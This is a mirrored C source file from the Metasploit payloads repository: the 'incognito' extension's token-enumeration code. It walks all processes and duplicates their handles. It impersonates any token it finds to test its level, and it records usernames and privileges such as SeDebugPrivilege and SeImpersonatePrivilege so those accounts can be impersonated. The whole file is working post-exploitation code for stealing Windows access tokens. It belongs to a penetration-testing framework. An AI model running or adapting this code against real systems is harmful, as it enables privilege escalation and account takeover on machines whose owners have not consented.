mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-03-30 22:19:17 +02:00
502 lines
16 KiB
C
502 lines
16 KiB
C
#define _CRT_SECURE_NO_DEPRECATE 1
|
|
#include "../../common/common.h"
|
|
#include "list_tokens.h"
|
|
#include "token_info.h"
|
|
#include "incognito.h"
|
|
|
|
typedef LONG NTSTATUS;
|
|
typedef VOID *POBJECT;
|
|
|
|
typedef enum _OBJECT_INFORMATION_CLASS
|
|
{
|
|
ObjectBasicInformation,
|
|
ObjectNameInformation,
|
|
ObjectTypeInformation,
|
|
ObjectAllTypesInformation,
|
|
ObjectHandleInformation
|
|
} OBJECT_INFORMATION_CLASS;
|
|
|
|
typedef struct _SYSTEM_HANDLE
|
|
{
|
|
ULONG uIdProcess;
|
|
UCHAR ObjectType;
|
|
UCHAR Flags;
|
|
USHORT Handle;
|
|
POBJECT pObject;
|
|
ACCESS_MASK GrantedAccess;
|
|
} SYSTEM_HANDLE, *PSYSTEM_HANDLE;
|
|
|
|
typedef struct _SYSTEM_HANDLE_INFORMATION
|
|
{
|
|
ULONG uCount;
|
|
SYSTEM_HANDLE Handles[1];
|
|
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
|
|
|
|
typedef struct _SYSTEM_PROCESS_INFORMATION
|
|
{
|
|
ULONG NextEntryOffset;
|
|
BYTE Reserved1[52];
|
|
PVOID Reserved2[3];
|
|
HANDLE UniqueProcessId;
|
|
PVOID Reserved3;
|
|
ULONG HandleCount;
|
|
BYTE Reserved4[4];
|
|
PVOID Reserved5[11];
|
|
SIZE_T PeakPagefileUsage;
|
|
SIZE_T PrivatePageCount;
|
|
LARGE_INTEGER Reserved6[6];
|
|
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
|
|
|
|
typedef struct _UNICODE_STRING
|
|
{
|
|
USHORT Length;
|
|
USHORT MaximumLength;
|
|
PWSTR Buffer;
|
|
} UNICODE_STRING;
|
|
|
|
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
|
|
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
|
|
#define STATUS_BUFFER_OVERFLOW ((NTSTATUS)0x80000005L)
|
|
#define SystemHandleInformation 16
|
|
#define SystemProcessInformation 5
|
|
|
|
typedef NTSTATUS (WINAPI *NTQUERYSYSTEMINFORMATION)(DWORD SystemInformationClass,
|
|
PVOID SystemInformation,
|
|
DWORD SystemInformationLength,
|
|
PDWORD ReturnLength);
|
|
|
|
typedef NTSTATUS (WINAPI *NTQUERYOBJECT)(HANDLE ObjectHandle,
|
|
OBJECT_INFORMATION_CLASS ObjectInformationClass,
|
|
PVOID ObjectInformation,
|
|
DWORD Length,
|
|
PDWORD ResultLength);
|
|
|
|
NTQUERYOBJECT NtQueryObject ;
|
|
NTQUERYSYSTEMINFORMATION NtQuerySystemInformation;
|
|
|
|
LPWSTR GetObjectInfo(HANDLE hObject, OBJECT_INFORMATION_CLASS objInfoClass);
|
|
|
|
typedef UNICODE_STRING OBJECT_NAME_INFORMATION;
|
|
typedef UNICODE_STRING *POBJECT_NAME_INFORMATION;
|
|
|
|
LPWSTR GetObjectInfo(HANDLE hObject, OBJECT_INFORMATION_CLASS objInfoClass)
|
|
{
|
|
LPWSTR data = NULL;
|
|
DWORD dwSize = sizeof(OBJECT_NAME_INFORMATION);
|
|
POBJECT_NAME_INFORMATION pObjectInfo = (POBJECT_NAME_INFORMATION) malloc(dwSize);
|
|
|
|
NTSTATUS ntReturn = NtQueryObject(hObject, objInfoClass, pObjectInfo, dwSize, &dwSize);
|
|
if((ntReturn == STATUS_BUFFER_OVERFLOW) || (ntReturn == STATUS_INFO_LENGTH_MISMATCH)){
|
|
pObjectInfo =realloc(pObjectInfo ,dwSize);
|
|
ntReturn = NtQueryObject(hObject, objInfoClass, pObjectInfo, dwSize, &dwSize);
|
|
}
|
|
if((ntReturn >= STATUS_SUCCESS) && (pObjectInfo->Buffer != NULL))
|
|
{
|
|
data = (LPWSTR) calloc(pObjectInfo->Length, sizeof(WCHAR));
|
|
CopyMemory(data, pObjectInfo->Buffer, pObjectInfo->Length);
|
|
}
|
|
free(pObjectInfo);
|
|
return data;
|
|
}
|
|
|
|
int compare_token_names(const unique_user_token *a, const unique_user_token *b)
|
|
{
|
|
return _wcsicmp(a->username, b->username);
|
|
}
|
|
|
|
SavedToken *get_token_list(DWORD *num_tokens_enum, TOKEN_PRIVS *token_privs)
|
|
{
|
|
DWORD total = 0, i, j, num_tokens = 0, token_list_size = BUF_SIZE, dwSize = sizeof(SYSTEM_HANDLE_INFORMATION);
|
|
HANDLE process, hObject;
|
|
PSYSTEM_PROCESS_INFORMATION pProcessInfo = NULL;
|
|
PSYSTEM_PROCESS_INFORMATION original_pProcessInfo = NULL;
|
|
NTSTATUS ntReturn;
|
|
BOOL bMoreProcesses = TRUE;
|
|
|
|
LPVOID TokenPrivilegesInfo[BUF_SIZE];
|
|
DWORD returned_privileges_length, returned_name_length;
|
|
wchar_t privilege_name[BUF_SIZE];
|
|
HANDLE hObject2 = NULL;
|
|
|
|
SavedToken *token_list = (SavedToken*)calloc(token_list_size, sizeof(SavedToken));
|
|
*num_tokens_enum = 0;
|
|
|
|
dprintf("[INCOGNITO] Preparing for token enumeration");
|
|
token_privs->SE_ASSIGNPRIMARYTOKEN_PRIVILEGE = FALSE;
|
|
token_privs->SE_CREATE_TOKEN_PRIVILEGE = FALSE;
|
|
token_privs->SE_TCB_PRIVILEGE = FALSE;
|
|
token_privs->SE_TAKE_OWNERSHIP_PRIVILEGE = FALSE;
|
|
token_privs->SE_BACKUP_PRIVILEGE = FALSE;
|
|
token_privs->SE_RESTORE_PRIVILEGE = FALSE;
|
|
token_privs->SE_DEBUG_PRIVILEGE = FALSE;
|
|
token_privs->SE_IMPERSONATE_PRIVILEGE = FALSE;
|
|
token_privs->SE_RELABEL_PRIVILEGE = FALSE;
|
|
token_privs->SE_LOAD_DRIVER_PRIVILEGE = FALSE;
|
|
|
|
// Enable debug privs if possible
|
|
dprintf("[INCOGNITO] Opening current process token");
|
|
if (!OpenProcessToken(GetCurrentProcess(), GENERIC_ALL/*MAXIMUM_ALLOWED*/, &hObject))
|
|
{
|
|
dprintf("[INCOGNITO] Opening current process token failed with %u (%x)", GetLastError(), GetLastError());
|
|
free(token_list);
|
|
return NULL;
|
|
}
|
|
dprintf("[INCOGNITO] Process opened");
|
|
has_impersonate_priv(hObject);
|
|
|
|
dprintf("[INCOGNITO] Grabbing function handles");
|
|
NtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)GetProcAddress(GetModuleHandleA("NTDLL.DLL"), "NtQuerySystemInformation");
|
|
NtQueryObject = (NTQUERYOBJECT)GetProcAddress(GetModuleHandleA("NTDLL.DLL"), "NtQueryObject");
|
|
dwSize = 256 * 1000;
|
|
|
|
pProcessInfo = (PSYSTEM_PROCESS_INFORMATION)malloc(dwSize);
|
|
dprintf("[INCOGNITO] Getting system information");
|
|
ntReturn = NtQuerySystemInformation(SystemProcessInformation, pProcessInfo, dwSize, &dwSize);
|
|
|
|
while (ntReturn == STATUS_INFO_LENGTH_MISMATCH)
|
|
{
|
|
dprintf("[INCOGNITO] Length mismatch, retrying ...");
|
|
free(pProcessInfo);
|
|
pProcessInfo = (PSYSTEM_PROCESS_INFORMATION)malloc(dwSize);
|
|
ntReturn = NtQuerySystemInformation(SystemProcessInformation, pProcessInfo, dwSize, &dwSize);
|
|
}
|
|
|
|
original_pProcessInfo = pProcessInfo;
|
|
|
|
if (ntReturn == STATUS_SUCCESS)
|
|
{
|
|
dprintf("[INCOGNITO] Looking good, continuing processing...");
|
|
while (bMoreProcesses)
|
|
{
|
|
dprintf("[INCOGNITO] NextEntryoffset: %u", pProcessInfo->NextEntryOffset);
|
|
if (pProcessInfo->NextEntryOffset == 0)
|
|
{
|
|
bMoreProcesses = FALSE;
|
|
}
|
|
|
|
// if has impersonate privs, only needs read access
|
|
dprintf("[INCOGNITO] Looking good, continuing processing...");
|
|
process = OpenProcess(MAXIMUM_ALLOWED, FALSE, (DWORD)(DWORD_PTR)pProcessInfo->UniqueProcessId);
|
|
|
|
if (process == NULL)
|
|
{
|
|
dprintf("[INCOGNITO] Failed to open process %u (%x)", (DWORD)(DWORD_PTR)pProcessInfo->UniqueProcessId, (DWORD)(DWORD_PTR)pProcessInfo->UniqueProcessId);
|
|
}
|
|
else
|
|
{
|
|
dprintf("[INCOGNITO] Iterating %u processes for %u (%x)", pProcessInfo->HandleCount, (DWORD)(DWORD_PTR)pProcessInfo->UniqueProcessId, (DWORD)(DWORD_PTR)pProcessInfo->UniqueProcessId);
|
|
for (i = 0; i < pProcessInfo->HandleCount; i++)
|
|
{
|
|
hObject = NULL;
|
|
|
|
if (DuplicateHandle(process, (HANDLE)(DWORD_PTR)((i + 1) * 4), GetCurrentProcess(), &hObject, MAXIMUM_ALLOWED, FALSE, 0x02))
|
|
{
|
|
LPWSTR lpwsType = NULL;
|
|
lpwsType = GetObjectInfo(hObject, ObjectTypeInformation);
|
|
if (lpwsType)
|
|
{
|
|
if (wcscmp(lpwsType, L"Token") && (ImpersonateLoggedOnUser(hObject)))
|
|
{
|
|
// ImpersonateLoggedOnUser() always returns true. Need to check whether impersonated token kept impersonate status - failure degrades to identification
|
|
// also revert to self after getting new token context
|
|
// only process if it was impersonation or higher
|
|
OpenThreadToken(GetCurrentThread(), MAXIMUM_ALLOWED, TRUE, &hObject2);
|
|
RevertToSelf();
|
|
if (is_impersonation_token(hObject2))
|
|
{
|
|
// Reallocate space if necessary
|
|
if (*num_tokens_enum >= token_list_size)
|
|
{
|
|
token_list_size *= 2;
|
|
token_list = (SavedToken*)realloc(token_list, token_list_size * sizeof(SavedToken));
|
|
if (!token_list)
|
|
{
|
|
CloseHandle(hObject2);
|
|
CloseHandle(hObject);
|
|
CloseHandle(process);
|
|
goto cleanup;
|
|
}
|
|
}
|
|
|
|
token_list[*num_tokens_enum].token = hObject;
|
|
get_domain_username_from_token(hObject, token_list[*num_tokens_enum].username);
|
|
|
|
if (GetTokenInformation(hObject, TokenPrivileges, TokenPrivilegesInfo, BUF_SIZE, &returned_privileges_length))
|
|
{
|
|
if (((TOKEN_PRIVILEGES*)TokenPrivilegesInfo)->PrivilegeCount > 0)
|
|
{
|
|
for (j = 0; j < ((TOKEN_PRIVILEGES*)TokenPrivilegesInfo)->PrivilegeCount; j++)
|
|
{
|
|
returned_name_length = BUF_SIZE;
|
|
LookupPrivilegeNameW(NULL, &(((TOKEN_PRIVILEGES*)TokenPrivilegesInfo)->Privileges[j].Luid), privilege_name, &returned_name_length);
|
|
if (wcscmp(privilege_name, L"SeAssignPrimaryTokenPrivilege") == 0)
|
|
{
|
|
token_privs->SE_ASSIGNPRIMARYTOKEN_PRIVILEGE = TRUE;
|
|
}
|
|
else if (wcscmp(privilege_name, L"SeCreateTokenPrivilege") == 0)
|
|
{
|
|
token_privs->SE_CREATE_TOKEN_PRIVILEGE = TRUE;
|
|
}
|
|
else if (wcscmp(privilege_name, L"SeTcbPrivilege") == 0)
|
|
{
|
|
token_privs->SE_TCB_PRIVILEGE = TRUE;
|
|
}
|
|
else if (wcscmp(privilege_name, L"SeTakeOwnershipPrivilege") == 0)
|
|
{
|
|
token_privs->SE_TAKE_OWNERSHIP_PRIVILEGE = TRUE;
|
|
}
|
|
else if (wcscmp(privilege_name, L"SeBackupPrivilege") == 0)
|
|
{
|
|
token_privs->SE_BACKUP_PRIVILEGE = TRUE;
|
|
}
|
|
else if (wcscmp(privilege_name, L"SeRestorePrivilege") == 0)
|
|
{
|
|
token_privs->SE_RESTORE_PRIVILEGE = TRUE;
|
|
}
|
|
else if (wcscmp(privilege_name, L"SeDebugPrivilege") == 0)
|
|
{
|
|
token_privs->SE_DEBUG_PRIVILEGE = TRUE;
|
|
}
|
|
else if (wcscmp(privilege_name, L"SeImpersonatePrivilege") == 0)
|
|
{
|
|
token_privs->SE_IMPERSONATE_PRIVILEGE = TRUE;
|
|
}
|
|
else if (wcscmp(privilege_name, L"SeRelabelPrivilege") == 0)
|
|
{
|
|
token_privs->SE_RELABEL_PRIVILEGE = TRUE;
|
|
}
|
|
else if (wcscmp(privilege_name, L"SeLoadDriverPrivilege") == 0)
|
|
{
|
|
token_privs->SE_LOAD_DRIVER_PRIVILEGE = TRUE;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
(*num_tokens_enum)++;
|
|
}
|
|
else {
|
|
CloseHandle(hObject);
|
|
}
|
|
CloseHandle(hObject2);
|
|
}
|
|
else {
|
|
CloseHandle(hObject);
|
|
}
|
|
free(lpwsType);
|
|
}
|
|
else {
|
|
CloseHandle(hObject);
|
|
}
|
|
}
|
|
}
|
|
|
|
// Also process primary
|
|
// if has impersonate privs, only needs read access
|
|
if (OpenProcessToken(process, MAXIMUM_ALLOWED, &hObject))
|
|
{
|
|
if (ImpersonateLoggedOnUser(hObject)) {
|
|
// ImpersonateLoggedOnUser() always returns true. Need to check whether impersonated token kept impersonate status - failure degrades to identification
|
|
// also revert to self after getting new token context
|
|
// only process if it was impersonation or higher
|
|
if (OpenThreadToken(GetCurrentThread(), MAXIMUM_ALLOWED, TRUE, &hObject2))
|
|
{
|
|
RevertToSelf();
|
|
if (is_impersonation_token(hObject2))
|
|
{
|
|
token_list[*num_tokens_enum].token = hObject;
|
|
get_domain_username_from_token(hObject, token_list[*num_tokens_enum].username);
|
|
(*num_tokens_enum)++;
|
|
|
|
if (GetTokenInformation(hObject, TokenPrivileges, TokenPrivilegesInfo, BUF_SIZE, &returned_privileges_length))
|
|
{
|
|
for (i = 0; i < ((TOKEN_PRIVILEGES*)TokenPrivilegesInfo)->PrivilegeCount; i++)
|
|
{
|
|
returned_name_length = BUF_SIZE;
|
|
LookupPrivilegeNameW(NULL, &(((TOKEN_PRIVILEGES*)TokenPrivilegesInfo)->Privileges[i].Luid), privilege_name, &returned_name_length);
|
|
if (wcscmp(privilege_name, L"SeAssignPrimaryTokenPrivilege") == 0)
|
|
{
|
|
token_privs->SE_ASSIGNPRIMARYTOKEN_PRIVILEGE = TRUE;
|
|
}
|
|
else if (wcscmp(privilege_name, L"SeCreateTokenPrivilege") == 0)
|
|
{
|
|
token_privs->SE_CREATE_TOKEN_PRIVILEGE = TRUE;
|
|
}
|
|
else if (wcscmp(privilege_name, L"SeTcbPrivilege") == 0)
|
|
{
|
|
token_privs->SE_TCB_PRIVILEGE = TRUE;
|
|
}
|
|
else if (wcscmp(privilege_name, L"SeTakeOwnershipPrivilege") == 0)
|
|
{
|
|
token_privs->SE_TAKE_OWNERSHIP_PRIVILEGE = TRUE;
|
|
}
|
|
else if (wcscmp(privilege_name, L"SeBackupPrivilege") == 0)
|
|
{
|
|
token_privs->SE_BACKUP_PRIVILEGE = TRUE;
|
|
}
|
|
else if (wcscmp(privilege_name, L"SeRestorePrivilege") == 0)
|
|
{
|
|
token_privs->SE_RESTORE_PRIVILEGE = TRUE;
|
|
}
|
|
else if (wcscmp(privilege_name, L"SeDebugPrivilege") == 0)
|
|
{
|
|
token_privs->SE_DEBUG_PRIVILEGE = TRUE;
|
|
}
|
|
else if (wcscmp(privilege_name, L"SeImpersonatePrivilege") == 0)
|
|
{
|
|
token_privs->SE_IMPERSONATE_PRIVILEGE = TRUE;
|
|
}
|
|
else if (wcscmp(privilege_name, L"SeRelabelPrivilege") == 0)
|
|
{
|
|
token_privs->SE_RELABEL_PRIVILEGE = TRUE;
|
|
}
|
|
else if (wcscmp(privilege_name, L"SeLoadDriverPrivilege") == 0)
|
|
{
|
|
token_privs->SE_LOAD_DRIVER_PRIVILEGE = TRUE;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
else {
|
|
CloseHandle(hObject);
|
|
}
|
|
CloseHandle(hObject2);
|
|
}
|
|
else {
|
|
CloseHandle(hObject);
|
|
}
|
|
}
|
|
else {
|
|
dprintf("[INCOGNITO] Failed next level impersonation, ImpersonateLoggedOnUser failed with %u (%x)", GetLastError(), GetLastError());
|
|
CloseHandle(hObject);
|
|
}
|
|
}
|
|
else
|
|
{
|
|
dprintf("[INCOGNITO] Failed next level impersonation, OpenProcessToken failed with %u (%x)", GetLastError(), GetLastError());
|
|
}
|
|
CloseHandle(process);
|
|
}
|
|
|
|
dprintf("[INCOGNITO] Moving to next process from %p", pProcessInfo);
|
|
pProcessInfo = (PSYSTEM_PROCESS_INFORMATION)((ULONG_PTR)pProcessInfo + (ULONG_PTR)pProcessInfo->NextEntryOffset);
|
|
dprintf("[INCOGNITO] Process now %p", pProcessInfo);
|
|
}
|
|
}
|
|
|
|
cleanup:
|
|
free(original_pProcessInfo);
|
|
|
|
dprintf("[INCOGNITO] Done with getting token list");
|
|
return token_list;
|
|
}
|
|
|
|
void process_user_token(HANDLE token, unique_user_token *uniq_tokens, DWORD *num_tokens, TOKEN_ORDER token_order)
|
|
{
|
|
DWORD i, j, num_groups = 0;
|
|
wchar_t *full_name, **group_name_array = NULL;
|
|
BOOL user_exists = FALSE;
|
|
|
|
// If token is NULL then return
|
|
if (!token)
|
|
{
|
|
return;
|
|
}
|
|
|
|
// Get token user or groups
|
|
if (token_order == BY_USER)
|
|
{
|
|
full_name = calloc(BUF_SIZE, sizeof(wchar_t));
|
|
num_groups = 1;
|
|
if (!get_domain_username_from_token(token, full_name))
|
|
{
|
|
goto cleanup;
|
|
}
|
|
}
|
|
else if (token_order == BY_GROUP
|
|
&& !get_domain_groups_from_token(token, &group_name_array, &num_groups))
|
|
{
|
|
goto cleanup;
|
|
}
|
|
|
|
for (i = 0; i < num_groups; i++)
|
|
{
|
|
if (token_order == BY_GROUP)
|
|
{
|
|
full_name = group_name_array[i];
|
|
}
|
|
|
|
// Check
|
|
wchar_t *name = wcschr(full_name, L'\\') + 1;
|
|
if (!_wcsicmp(L"None", name) ||
|
|
!_wcsicmp(L"Everyone", name) ||
|
|
!_wcsicmp(L"LOCAL", name) ||
|
|
!_wcsicmp(L"NULL SID", name) ||
|
|
!_wcsicmp(L"CONSOLE LOGON", name))
|
|
{
|
|
continue;
|
|
}
|
|
|
|
// Check to see if username has been seen before
|
|
for (j = 0; j < *num_tokens; j++)
|
|
{
|
|
// If found then increment the number and set delegation flag if appropriate
|
|
if (!_wcsicmp(uniq_tokens[j].username, full_name))
|
|
{
|
|
uniq_tokens[j].token_num++;
|
|
user_exists = TRUE;
|
|
if (is_delegation_token(token))
|
|
{
|
|
uniq_tokens[j].delegation_available = TRUE;
|
|
}
|
|
if (is_impersonation_token(token))
|
|
{
|
|
uniq_tokens[j].impersonation_available = TRUE;
|
|
}
|
|
break;
|
|
}
|
|
}
|
|
|
|
// If token user has not been seen yet then create new entry
|
|
if (!user_exists)
|
|
{
|
|
wcscpy_s(uniq_tokens[*num_tokens].username, MAX_USERNAME, full_name);
|
|
uniq_tokens[*num_tokens].token_num = 1;
|
|
uniq_tokens[*num_tokens].delegation_available = FALSE;
|
|
uniq_tokens[*num_tokens].impersonation_available = FALSE;
|
|
|
|
if (is_delegation_token(token))
|
|
{
|
|
uniq_tokens[*num_tokens].delegation_available = TRUE;
|
|
}
|
|
if (is_impersonation_token(token))
|
|
{
|
|
uniq_tokens[*num_tokens].impersonation_available = TRUE;
|
|
}
|
|
|
|
(*num_tokens)++;
|
|
}
|
|
else
|
|
{
|
|
user_exists = FALSE;
|
|
}
|
|
|
|
// Cleanup
|
|
if (token_order == BY_GROUP && group_name_array[i])
|
|
{
|
|
free(group_name_array[i]);
|
|
}
|
|
}
|
|
|
|
// Cleanup
|
|
cleanup:
|
|
if (token_order == BY_GROUP && group_name_array)
|
|
{
|
|
free(group_name_array);
|
|
}
|
|
else if (token_order == BY_USER && full_name)
|
|
{
|
|
free(full_name);
|
|
}
|
|
}
|